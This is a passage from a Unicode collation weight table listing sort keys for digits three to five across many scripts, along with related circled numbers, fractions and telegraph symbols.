+335A  ; [.1C3F.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
+0033  ; [.1C40.0020.0002] # DIGIT THREE
+0663  ; [.1C40.0020.0002] # ARABIC-INDIC DIGIT THREE
+06F3  ; [.1C40.0020.0002] # EXTENDED ARABIC-INDIC DIGIT THREE
+07C3  ; [.1C40.0020.0002] # NKO DIGIT THREE
+0969  ; [.1C40.0020.0002] # DEVANAGARI DIGIT THREE
+09E9  ; [.1C40.0020.0002] # BENGALI DIGIT THREE
+0A69  ; [.1C40.0020.0002] # GURMUKHI DIGIT THREE
+0AE9  ; [.1C40.0020.0002] # GUJARATI DIGIT THREE
+0B69  ; [.1C40.0020.0002] # ORIYA DIGIT THREE
+0BE9  ; [.1C40.0020.0002] # TAMIL DIGIT THREE
+0C69  ; [.1C40.0020.0002] # TELUGU DIGIT THREE
+0C7B  ; [.1C40.0020.0002] # TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR
+0C7E  ; [.1C40.0020.0002] # TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR
+0CE9  ; [.1C40.0020.0002] # KANNADA DIGIT THREE
+0D69  ; [.1C40.0020.0002] # MALAYALAM DIGIT THREE
+0DE9  ; [.1C40.0020.0002] # SINHALA LITH DIGIT THREE
+0E53  ; [.1C40.0020.0002] # THAI DIGIT THREE
+0ED3  ; [.1C40.0020.0002] # LAO DIGIT THREE
+0F23  ; [.1C40.0020.0002] # TIBETAN DIGIT THREE
+1043  ; [.1C40.0020.0002] # MYANMAR DIGIT THREE
+1093  ; [.1C40.0020.0002] # MYANMAR SHAN DIGIT THREE
+136B  ; [.1C40.0020.0002] # ETHIOPIC DIGIT THREE
+17E3  ; [.1C40.0020.0002] # KHMER DIGIT THREE
+17F3  ; [.1C40.0020.0002] # KHMER SYMBOL LEK ATTAK BEI
+1813  ; [.1C40.0020.0002] # MONGOLIAN DIGIT THREE
+1949  ; [.1C40.0020.0002] # LIMBU DIGIT THREE
+19D3  ; [.1C40.0020.0002] # NEW TAI LUE DIGIT THREE
+1A83  ; [.1C40.0020.0002] # TAI THAM HORA DIGIT THREE
+1A93  ; [.1C40.0020.0002] # TAI THAM THAM DIGIT THREE
+1B53  ; [.1C40.0020.0002] # BALINESE DIGIT THREE
+1BB3  ; [.1C40.0020.0002] # SUNDANESE DIGIT THREE
+1C43  ; [.1C40.0020.0002] # LEPCHA DIGIT THREE
+1C53  ; [.1C40.0020.0002] # OL CHIKI DIGIT THREE
+3023  ; [.1C40.0020.0002] # HANGZHOU NUMERAL THREE
+A623  ; [.1C40.0020.0002] # VAI DIGIT THREE
+A8D3  ; [.1C40.0020.0002] # SAURASHTRA DIGIT THREE
+A903  ; [.1C40.0020.0002] # KAYAH LI DIGIT THREE
+A9D3  ; [.1C40.0020.0002] # JAVANESE DIGIT THREE
+A9F3  ; [.1C40.0020.0002] # MYANMAR TAI LAING DIGIT THREE
+AA53  ; [.1C40.0020.0002] # CHAM DIGIT THREE
+ABF3  ; [.1C40.0020.0002] # MEETEI MAYEK DIGIT THREE
+10109 ; [.1C40.0020.0002] # AEGEAN NUMBER THREE
+102E3 ; [.1C40.0020.0002] # COPTIC EPACT DIGIT THREE
+104A3 ; [.1C40.0020.0002] # OSMANYA DIGIT THREE
+1085A ; [.1C40.0020.0002] # IMPERIAL ARAMAIC NUMBER THREE
+1087B ; [.1C40.0020.0002] # PALMYRENE NUMBER THREE
+108A9 ; [.1C40.0020.0002] # NABATAEAN NUMBER THREE
+1091B ; [.1C40.0020.0002] # PHOENICIAN NUMBER THREE
+109C2 ; [.1C40.0020.0002] # MEROITIC CURSIVE NUMBER THREE
+10A42 ; [.1C40.0020.0002] # KHAROSHTHI DIGIT THREE
+10B5A ; [.1C40.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER THREE
+10B7A ; [.1C40.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER THREE
+10BAB ; [.1C40.0020.0002] # PSALTER PAHLAVI NUMBER THREE
+10E62 ; [.1C40.0020.0002] # RUMI DIGIT THREE
+11054 ; [.1C40.0020.0002] # BRAHMI NUMBER THREE
+11069 ; [.1C40.0020.0002] # BRAHMI DIGIT THREE
+110F3 ; [.1C40.0020.0002] # SORA SOMPENG DIGIT THREE
+11139 ; [.1C40.0020.0002] # CHAKMA DIGIT THREE
+111D3 ; [.1C40.0020.0002] # SHARADA DIGIT THREE
+111E3 ; [.1C40.0020.0002] # SINHALA ARCHAIC DIGIT THREE
+112F3 ; [.1C40.0020.0002] # KHUDAWADI DIGIT THREE
+11453 ; [.1C40.0020.0002] # NEWA DIGIT THREE
+114D3 ; [.1C40.0020.0002] # TIRHUTA DIGIT THREE
+11653 ; [.1C40.0020.0002] # MODI DIGIT THREE
+116C3 ; [.1C40.0020.0002] # TAKRI DIGIT THREE
+11733 ; [.1C40.0020.0002] # AHOM DIGIT THREE
+118E3 ; [.1C40.0020.0002] # WARANG CITI DIGIT THREE
+11C53 ; [.1C40.0020.0002] # BHAIKSUKI DIGIT THREE
+11C5C ; [.1C40.0020.0002] # BHAIKSUKI NUMBER THREE
+12401 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH
+12408 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE DISH
+12417 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESH2
+12420 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESHU
+12424 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2
+12425 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2 VARIANT FORM
+1242E ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU
+1242F ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU VARIANT FORM
+12436 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU
+12437 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU VARIANT FORM
+1243A ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH16
+1243B ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH21
+1244B ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH TENU
+12451 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BAN2
+12457 ; [.1C40.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAESH
+16A63 ; [.1C40.0020.0002] # MRO DIGIT THREE
+16B53 ; [.1C40.0020.0002] # PAHAWH HMONG DIGIT THREE
+1D362 ; [.1C40.0020.0002] # COUNTING ROD UNIT DIGIT THREE
+1E8C9 ; [.1C40.0020.0002] # MENDE KIKAKUI DIGIT THREE
+1E953 ; [.1C40.0020.0002] # ADLAM DIGIT THREE
+FF13  ; [.1C40.0020.0003] # FULLWIDTH DIGIT THREE
+0F2C  ; [.1C40.0020.0004] # TIBETAN DIGIT HALF THREE
+2476  ; [*0317.0020.0004][.1C40.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT THREE
+248A  ; [.1C40.0020.0004][*0277.0020.0004] # DIGIT THREE FULL STOP
+1F104 ; [.1C40.0020.0004][*0222.0020.0004] # DIGIT THREE COMMA
+1D7D1 ; [.1C40.0020.0005] # MATHEMATICAL BOLD DIGIT THREE
+1D7DB ; [.1C40.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT THREE
+1D7E5 ; [.1C40.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT THREE
+1D7EF ; [.1C40.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT THREE
+1D7F9 ; [.1C40.0020.0005] # MATHEMATICAL MONOSPACE DIGIT THREE
+2462  ; [.1C40.0020.0006] # CIRCLED DIGIT THREE
+24F7  ; [.1C40.0020.0006] # DOUBLE CIRCLED DIGIT THREE
+2778  ; [.1C40.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT THREE
+2782  ; [.1C40.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT THREE
+278C  ; [.1C40.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE
+00B3  ; [.1C40.0020.0014] # SUPERSCRIPT THREE
+2083  ; [.1C40.0020.0015] # SUBSCRIPT THREE
+324A  ; [.1C40.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER THIRTY ON BLACK SQUARE
+325A  ; [.1C40.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER THIRTY
+33FD  ; [.1C40.0020.0004][.1C3D.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
+325B  ; [.1C40.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER THIRTY ONE
+33FE  ; [.1C40.0020.0004][.1C3E.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
+325C  ; [.1C40.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER THIRTY TWO
+325D  ; [.1C40.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER THIRTY THREE
+325E  ; [.1C40.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER THIRTY FOUR
+00BE  ; [.1C40.0020.001E][*0626.0020.001E][.1C41.0020.001E] # VULGAR FRACTION THREE QUARTERS
+325F  ; [.1C40.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER THIRTY FIVE
+2157  ; [.1C40.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION THREE FIFTHS
+32B1  ; [.1C40.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER THIRTY SIX
+32B2  ; [.1C40.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER THIRTY SEVEN
+32B3  ; [.1C40.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER THIRTY EIGHT
+215C  ; [.1C40.0020.001E][*0626.0020.001E][.1C45.0020.001E] # VULGAR FRACTION THREE EIGHTHS
+32B4  ; [.1C40.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER THIRTY NINE
+1F19B ; [.1C40.0020.001C][.1C8F.0020.001D] # SQUARED THREE D
+33E2  ; [.1C40.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
+32C2  ; [.1C40.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
+335B  ; [.1C40.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
+0034  ; [.1C41.0020.0002] # DIGIT FOUR
+0664  ; [.1C41.0020.0002] # ARABIC-INDIC DIGIT FOUR
+06F4  ; [.1C41.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FOUR
+07C4  ; [.1C41.0020.0002] # NKO DIGIT FOUR
+096A  ; [.1C41.0020.0002] # DEVANAGARI DIGIT FOUR
+09EA  ; [.1C41.0020.0002] # BENGALI DIGIT FOUR
+0A6A  ; [.1C41.0020.0002] # GURMUKHI DIGIT FOUR
+0AEA  ; [.1C41.0020.0002] # GUJARATI DIGIT FOUR
+0B6A  ; [.1C41.0020.0002] # ORIYA DIGIT FOUR
+0BEA  ; [.1C41.0020.0002] # TAMIL DIGIT FOUR
+0C6A  ; [.1C41.0020.0002] # TELUGU DIGIT FOUR
+0CEA  ; [.1C41.0020.0002] # KANNADA DIGIT FOUR
+0D6A  ; [.1C41.0020.0002] # MALAYALAM DIGIT FOUR
+0DEA  ; [.1C41.0020.0002] # SINHALA LITH DIGIT FOUR
+0E54  ; [.1C41.0020.0002] # THAI DIGIT FOUR
+0ED4  ; [.1C41.0020.0002] # LAO DIGIT FOUR
+0F24  ; [.1C41.0020.0002] # TIBETAN DIGIT FOUR
+1044  ; [.1C41.0020.0002] # MYANMAR DIGIT FOUR
+1094  ; [.1C41.0020.0002] # MYANMAR SHAN DIGIT FOUR
+136C  ; [.1C41.0020.0002] # ETHIOPIC DIGIT FOUR
+17E4  ; [.1C41.0020.0002] # KHMER DIGIT FOUR
+17F4  ; [.1C41.0020.0002] # KHMER SYMBOL LEK ATTAK BUON
+1814  ; [.1C41.0020.0002] # MONGOLIAN DIGIT FOUR
+194A  ; [.1C41.0020.0002] # LIMBU DIGIT FOUR
+19D4  ; [.1C41.0020.0002] # NEW TAI LUE DIGIT FOUR
+1A84  ; [.1C41.0020.0002] # TAI THAM HORA DIGIT FOUR
+1A94  ; [.1C41.0020.0002] # TAI THAM THAM DIGIT FOUR
+1B54  ; [.1C41.0020.0002] # BALINESE DIGIT FOUR
+1BB4  ; [.1C41.0020.0002] # SUNDANESE DIGIT FOUR
+1C44  ; [.1C41.0020.0002] # LEPCHA DIGIT FOUR
+1C54  ; [.1C41.0020.0002] # OL CHIKI DIGIT FOUR
+3024  ; [.1C41.0020.0002] # HANGZHOU NUMERAL FOUR
+A624  ; [.1C41.0020.0002] # VAI DIGIT FOUR
+A8D4  ; [.1C41.0020.0002] # SAURASHTRA DIGIT FOUR
+A904  ; [.1C41.0020.0002] # KAYAH LI DIGIT FOUR
+A9D4  ; [.1C41.0020.0002] # JAVANESE DIGIT FOUR
+A9F4  ; [.1C41.0020.0002] # MYANMAR TAI LAING DIGIT FOUR
+AA54  ; [.1C41.0020.0002] # CHAM DIGIT FOUR
+ABF4  ; [.1C41.0020.0002] # MEETEI MAYEK DIGIT FOUR
+1010A ; [.1C41.0020.0002] # AEGEAN NUMBER FOUR
+102E4 ; [.1C41.0020.0002] # COPTIC EPACT DIGIT FOUR
+104A4 ; [.1C41.0020.0002] # OSMANYA DIGIT FOUR
+1087C ; [.1C41.0020.0002] # PALMYRENE NUMBER FOUR
+108AA ; [.1C41.0020.0002] # NABATAEAN NUMBER FOUR
+108AB ; [.1C41.0020.0002] # NABATAEAN CRUCIFORM NUMBER FOUR
+109C3 ; [.1C41.0020.0002] # MEROITIC CURSIVE NUMBER FOUR
+10A43 ; [.1C41.0020.0002] # KHAROSHTHI DIGIT FOUR
+10B5B ; [.1C41.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER FOUR
+10B7B ; [.1C41.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER FOUR
+10BAC ; [.1C41.0020.0002] # PSALTER PAHLAVI NUMBER FOUR
+10E63 ; [.1C41.0020.0002] # RUMI DIGIT FOUR
+11055 ; [.1C41.0020.0002] # BRAHMI NUMBER FOUR
+1106A ; [.1C41.0020.0002] # BRAHMI DIGIT FOUR
+110F4 ; [.1C41.0020.0002] # SORA SOMPENG DIGIT FOUR
+1113A ; [.1C41.0020.0002] # CHAKMA DIGIT FOUR
+111D4 ; [.1C41.0020.0002] # SHARADA DIGIT FOUR
+111E4 ; [.1C41.0020.0002] # SINHALA ARCHAIC DIGIT FOUR
+112F4 ; [.1C41.0020.0002] # KHUDAWADI DIGIT FOUR
+11454 ; [.1C41.0020.0002] # NEWA DIGIT FOUR
+114D4 ; [.1C41.0020.0002] # TIRHUTA DIGIT FOUR
+11654 ; [.1C41.0020.0002] # MODI DIGIT FOUR
+116C4 ; [.1C41.0020.0002] # TAKRI DIGIT FOUR
+11734 ; [.1C41.0020.0002] # AHOM DIGIT FOUR
+118E4 ; [.1C41.0020.0002] # WARANG CITI DIGIT FOUR
+11C54 ; [.1C41.0020.0002] # BHAIKSUKI DIGIT FOUR
+11C5D ; [.1C41.0020.0002] # BHAIKSUKI NUMBER FOUR
+12402 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH
+12409 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR DISH
+1240F ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U
+12418 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESH2
+12421 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESHU
+12426 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHAR2
+12430 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHARU
+12438 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BURU
+1243C ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU
+1243D ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU4
+1243E ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU A
+1243F ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU B
+1244C ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH TENU
+12452 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2
+12453 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2 VARIANT FORM
+12469 ; [.1C41.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U VARIANT FORM
+16A64 ; [.1C41.0020.0002] # MRO DIGIT FOUR
+16B54 ; [.1C41.0020.0002] # PAHAWH HMONG DIGIT FOUR
+1D363 ; [.1C41.0020.0002] # COUNTING ROD UNIT DIGIT FOUR
+1E8CA ; [.1C41.0020.0002] # MENDE KIKAKUI DIGIT FOUR
+1E954 ; [.1C41.0020.0002] # ADLAM DIGIT FOUR
+FF14  ; [.1C41.0020.0003] # FULLWIDTH DIGIT FOUR
+0F2D  ; [.1C41.0020.0004] # TIBETAN DIGIT HALF FOUR
+2477  ; [*0317.0020.0004][.1C41.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT FOUR
+248B  ; [.1C41.0020.0004][*0277.0020.0004] # DIGIT FOUR FULL STOP
+1F105 ; [.1C41.0020.0004][*0222.0020.0004] # DIGIT FOUR COMMA
+1D7D2 ; [.1C41.0020.0005] # MATHEMATICAL BOLD DIGIT FOUR
+1D7DC ; [.1C41.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FOUR
+1D7E6 ; [.1C41.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FOUR
+1D7F0 ; [.1C41.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FOUR
+1D7FA ; [.1C41.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FOUR
+2463  ; [.1C41.0020.0006] # CIRCLED DIGIT FOUR
+24F8  ; [.1C41.0020.0006] # DOUBLE CIRCLED DIGIT FOUR
+2779  ; [.1C41.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FOUR
+2783  ; [.1C41.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FOUR
+278D  ; [.1C41.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FOUR
+2074  ; [.1C41.0020.0014] # SUPERSCRIPT FOUR
+2084  ; [.1C41.0020.0015] # SUBSCRIPT FOUR
+324B  ; [.1C41.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FORTY ON BLACK SQUARE
+32B5  ; [.1C41.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FORTY
+32B6  ; [.1C41.0020.0006][.1C3E.0020.0006] # CIRCLED NUMBER FORTY ONE
+32B7  ; [.1C41.0020.0006][.1C3F.0020.0006] # CIRCLED NUMBER FORTY TWO
+32B8  ; [.1C41.0020.0006][.1C40.0020.0006] # CIRCLED NUMBER FORTY THREE
+32B9  ; [.1C41.0020.0006][.1C41.0020.0006] # CIRCLED NUMBER FORTY FOUR
+32BA  ; [.1C41.0020.0006][.1C42.0020.0006] # CIRCLED NUMBER FORTY FIVE
+2158  ; [.1C41.0020.001E][*0626.0020.001E][.1C42.0020.001E] # VULGAR FRACTION FOUR FIFTHS
+32BB  ; [.1C41.0020.0006][.1C43.0020.0006] # CIRCLED NUMBER FORTY SIX
+32BC  ; [.1C41.0020.0006][.1C44.0020.0006] # CIRCLED NUMBER FORTY SEVEN
+32BD  ; [.1C41.0020.0006][.1C45.0020.0006] # CIRCLED NUMBER FORTY EIGHT
+32BE  ; [.1C41.0020.0006][.1C46.0020.0006] # CIRCLED NUMBER FORTY NINE
+1F19E ; [.1C41.0020.001C][.1D65.0020.001D] # SQUARED FOUR K
+33E3  ; [.1C41.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
+32C3  ; [.1C41.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
+335C  ; [.1C41.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
+0035  ; [.1C42.0020.0002] # DIGIT FIVE
+0665  ; [.1C42.0020.0002] # ARABIC-INDIC DIGIT FIVE
+06F5  ; [.1C42.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FIVE
+07C5  ; [.1C42.0020.0002] # NKO DIGIT FIVE
+096B  ; [.1C42.0020.0002] # DEVANAGARI DIGIT FIVE
+09EB  ; [.1C42.0020.0002] # BENGALI DIGIT FIVE
+0A6B  ; [.1C42.0020.0002] # GURMUKHI DIGIT FIVE
+0AEB  ; [.1C42.0020.0002] # GUJARATI DIGIT FIVE
+0B6B  ; [.1C42.0020.0002] # ORIYA DIGIT FIVE
+0BEB  ; [.1C42.0020.0002] # TAMIL DIGIT FIVE
+0C6B  ; [.1C42.0020.0002] # TELUGU DIGIT FIVE
+0CEB  ; [.1C42.0020.0002] # KANNADA DIGIT FIVE
+0D6B  ; [.1C42.0020.0002] # MALAYALAM DIGIT FIVE
+0DEB  ; [.1C42.0020.0002] # SINHALA LITH DIGIT FIVE
+0E55  ; [.1C42.0020.0002] # THAI DIGIT FIVE
+0ED5  ; [.1C42.0020.0002] # LAO DIGIT FIVE
+0F25  ; [.1C42.0020.0002] # TIBETAN DIGIT FIVE
+1045  ; [.1C42.0020.0002] # MYANMAR DIGIT FIVE
+1095  ; [.1C42.0020.0002] # MYANMAR SHAN DIGIT FIVE
+136D  ; [.1C42.0020.0002] # ETHIOPIC DIGIT FIVE
+17E5  ; [.1C42.0020.0002] # KHMER DIGIT FIVE
+17F5  ; [.1C42.0020.0002] # KHMER SYMBOL LEK ATTAK PRAM
+1815  ; [.1C42.0020.0002] # MONGOLIAN DIGIT FIVE
+194B  ; [.1C42.0020.0002] # LIMBU DIGIT FIVE
+19D5  ; [.1C42.0020.0002] # NEW TAI LUE DIGIT FIVE
+1A85  ; [.1C42.0020.0002] # TAI THAM HORA DIGIT FIVE
+1A95  ; [.1C42.0020.0002] # TAI THAM THAM DIGIT FIVE
+1B55  ; [.1C42.0020.0002] # BALINESE DIGIT FIVE
+1BB5  ; [.1C42.0020.0002] # SUNDANESE DIGIT FIVE
+1C45  ; [.1C42.0020.0002] # LEPCHA DIGIT FIVE
+1C55  ; [.1C42.0020.0002] # OL CHIKI DIGIT FIVE
+3025  ; [.1C42.0020.0002] # HANGZHOU NUMERAL FIVE
+A625  ; [.1C42.0020.0002] # VAI DIGIT FIVE
+A8D5  ; [.1C42.0020.0002] # SAURASHTRA DIGIT FIVE
+A905  ; [.1C42.0020.0002] # KAYAH LI DIGIT FIVE
+A9D5  ; [.1C42.0020.0002] # JAVANESE DIGIT FIVE
+A9F5  ; [.1C42.0020.0002] # MYANMAR TAI LAING DIGIT FIVE
+AA55  ; [.1C42.0020.0002] # CHAM DIGIT FIVE
+ABF5  ; [.1C42.0020.0002] # MEETEI MAYEK DIGIT FIVE
+1010B ; [.1C42.0020.0002] # AEGEAN NUMBER FIVE
+10143 ; [.1C42.0020.0002] # GREEK ACROPHONIC ATTIC FIVE
+10148 ; [.1C42.0020.0002] # GREEK ACROPHONIC ATTIC FIVE TALENTS
+1014F ; [.1C42.0020.0002] # GREEK ACROPHONIC ATTIC FIVE STATERS
+1015F ; [.1C42.0020.0002] # GREEK ACROPHONIC TROEZENIAN FIVE
+10173 ; [.1C42.0020.0002] # GREEK ACROPHONIC DELPHIC FIVE MNAS
+102E5 ; [.1C42.0020.0002] # COPTIC EPACT DIGIT FIVE
+10321 ; [.1C42.0020.0002] # OLD ITALIC NUMERAL FIVE
+104A5 ; [.1C42.0020.0002] # OSMANYA DIGIT FIVE
+1087D ; [.1C42.0020.0002] # PALMYRENE NUMBER FIVE
+108AC ; [.1C42.0020.0002] # NABATAEAN NUMBER FIVE
+108FC ; [.1C42.0020.0002] # HATRAN NUMBER FIVE
+109C4 ; [.1C42.0020.0002] # MEROITIC CURSIVE NUMBER FIVE
+10AEC ; [.1C42.0020.0002] # MANICHAEAN NUMBER FIVE
+10CFB ; [.1C42.0020.0002] # OLD HUNGARIAN NUMBER FIVE
+10E64 ; [.1C42.0020.0002] # RUMI DIGIT FIVE
+11056 ; [.1C42.0020.0002] # BRAHMI NUMBER FIVE
+1106B ; [.1C42.0020.0002] # BRAHMI DIGIT FIVE
+110F5 ; [.1C42.0020.0002] # SORA SOMPENG DIGIT FIVE
+1113B ; [.1C42.0020.0002] # CHAKMA DIGIT FIVE
+111D5 ; [.1C42.0020.0002] # SHARADA DIGIT FIVE
+111E5 ; [.1C42.0020.0002] # SINHALA ARCHAIC DIGIT FIVE
+112F5 ; [.1C42.0020.0002] # KHUDAWADI DIGIT FIVE
+11455 ; [.1C42.0020.0002] # NEWA DIGIT FIVE
+114D5 ; [.1C42.0020.0002] # TIRHUTA DIGIT FIVE
+11655 ; [.1C42.0020.0002] # MODI DIGIT FIVE
+116C5 ; [.1C42.0020.0002] # TAKRI DIGIT FIVE
+11735 ; [.1C42.0020.0002] # AHOM DIGIT FIVE
+118E5 ; [.1C42.0020.0002] # WARANG CITI DIGIT FIVE
+11C55 ; [.1C42.0020.0002] # BHAIKSUKI DIGIT FIVE
+11C5E ; [.1C42.0020.0002] # BHAIKSUKI NUMBER FIVE
+12403 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH
+1240A ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE DISH
+12410 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U
+12419 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESH2
+12422 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE GESHU
+12427 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHAR2
+12431 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE SHARU
+12439 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BURU
+1244D ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE ASH TENU
+12454 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2
+12455 ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE BAN2 VARIANT FORM
+1246A ; [.1C42.0020.0002] # CUNEIFORM NUMERIC SIGN FIVE U VARIANT FORM
+16A65 ; [.1C42.0020.0002] # MRO DIGIT FIVE
+16B55 ; [.1C42.0020.0002] # PAHAWH HMONG DIGIT FIVE
+1D364 ; [.1C42.0020.0002] # COUNTING ROD UNIT DIGIT FIVE
+1E8CB ; [.1C42.0020.0002] # MENDE KIKAKUI DIGIT FIVE
+1E955 ; [.1C42.0020.0002] # ADLAM DIGIT FIVE
+FF15  ; [.1C42.0020.0003] # FULLWIDTH DIGIT FIVE
+0F2E  ; [.1C42.0020.0004] # TIBETAN DIGIT HALF FIVE
+2478  ; [*0317.0020.0004][.1C42.0020.0004][*0318.0020.0004] # PARENTHESIZED DIGIT FIVE
+248C  ; [.1C42.0020.0004][*0277.0020.0004] # DIGIT FIVE FULL STOP
+1F106 ; [.1C42.0020.0004][*0222.0020.0004] # DIGIT FIVE COMMA
+1D7D3 ; [.1C42.0020.0005] # MATHEMATICAL BOLD DIGIT FIVE
+1D7DD ; [.1C42.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT FIVE
+1D7E7 ; [.1C42.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT FIVE
+1D7F1 ; [.1C42.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT FIVE
+1D7FB ; [.1C42.0020.0005] # MATHEMATICAL MONOSPACE DIGIT FIVE
+2464  ; [.1C42.0020.0006] # CIRCLED DIGIT FIVE
+24F9  ; [.1C42.0020.0006] # DOUBLE CIRCLED DIGIT FIVE
+277A  ; [.1C42.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT FIVE
+2784  ; [.1C42.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT FIVE
+278E  ; [.1C42.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT FIVE
+2075  ; [.1C42.0020.0014] # SUPERSCRIPT FIVE
+2085  ; [.1C42.0020.0015] # SUBSCRIPT FIVE
+324C  ; [.1C42.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FIFTY ON BLACK SQUARE
+32BF  ; [.1C42.0020.0006][.1C3D.0020.0006] # CIRCLED NUMBER FIFTY
+1F1A0 ; [.1C42.0020.001C][*0277.0020.001C][.1C3E.0020.001C] # SQUARED FIVE POINT ONE
+215A  ; [.1C42.0020.001E][*0626.0020.001E][.1C43.0020.001E] # VULGAR FRACTION FIVE SIXTHS
